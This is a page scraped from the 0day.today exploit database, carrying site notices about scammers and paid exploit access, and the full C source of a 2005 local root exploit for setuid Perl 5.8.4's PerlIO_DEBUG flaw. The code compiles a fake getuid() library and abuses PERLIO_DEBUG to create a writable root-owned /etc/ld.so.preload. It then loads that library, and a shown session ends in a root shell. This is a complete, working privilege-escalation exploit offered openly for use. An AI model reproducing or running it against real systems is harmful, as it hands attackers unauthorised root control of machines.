0day.today - Biggest Exploit Database in the World.
Things you should know about 0day.today:
Administration of this site uses the official contacts. Beware of impostors!
- We use one main domain: http://0day.today
- Most of the materials is completely FREE
- If you want to purchase the exploit / get V.I.P. access or pay for any other service,
you need to buy or earn GOLD
Administration of this site uses the official contacts. Beware of impostors!
We DO NOT use Telegram or any messengers / social networks!
Please, beware of scammers!
Please, beware of scammers!
- Read the [ agreement ]
- Read the [ Submit ] rules
- Visit the [ faq ] page
- [ Register ] profile
- Get [ GOLD ]
- If you want to [ sell ]
- If you want to [ buy ]
- If you lost [ Account ]
- Any questions [ admin@0day.today ]
- Authorisation page
- Registration page
- Restore account page
- FAQ page
- Contacts page
- Publishing rules
- Agreement page
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
You can contact us by:
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
Setuid perl PerlIO_Debug() root owned file creation
=================================================== Setuid perl PerlIO_Debug() root owned file creation =================================================== /* * Copyright Kevin Finisterre * * ** DISCLAIMER ** I am in no way responsible for your stupidity. * ** DISCLAIMER ** I am in no way liable for any damages caused by compilation and or execution of this code. * * ** WARNING ** DO NOT RUN THIS UNLESS YOU KNOW WHAT YOU ARE DOING *** * ** WARNING ** overwriting /etc/ld.so.preload can severly fuck up your box (or someone elses). * ** WARNING ** have a boot disk ready incase some thing goes wrong. * * Setuid Perl exploit by KF - kf_lists[at]secnetops[dot]com - 1/30/05 * * this exploits a vulnerability in the PERLIO_DEBUG functionality * tested against sperl5.8.4 on Debian * * kfinisterre@jdam:~$ cc -o ex_perl ex_perl.c * kfinisterre@jdam:~$ ls -al /etc/ld.so.preload * ls: /etc/ld.so.preload: No such file or directory * kfinisterre@jdam:~$ ./ex_perl * sperl needs fd script * You should not call sperl directly; do you need to change a #! line * from sperl to perl? * kfinisterre@jdam:~$ su - * jdam:~# id * uid=0(root) gid=0(root) groups=0(root) * jdam:~# rm /etc/ld.so.preload * */ #define PRELOAD "/etc/ld.so.preload" #include <stdio.h> #include <strings.h> int main(int *argc, char **argv) { FILE *getuid; if(!(getuid = fopen("/tmp/getuid.c","w+"))) { printf("error opening file\n"); exit(1); } fprintf(getuid, "int getuid(){return 0;}\n" ); fclose(getuid); system("cc -fPIC -Wall -g -O2 -shared -o /tmp/getuid.so /tmp/getuid.c -lc"); putenv("PERLIO_DEBUG="PRELOAD); umask(001); // I'm rw-rw-rw james bitch! system("/usr/bin/sperl5.8.4"); FILE *ld_so_preload; char preload[] = { "/tmp/getuid.so\n" }; if(!(ld_so_preload = fopen(PRELOAD,"w+"))) { printf("error opening file\n"); exit(1); } fwrite(preload,sizeof(preload)-1,1,ld_so_preload); fclose(ld_so_preload); } # 0day.today [2024-11-16] #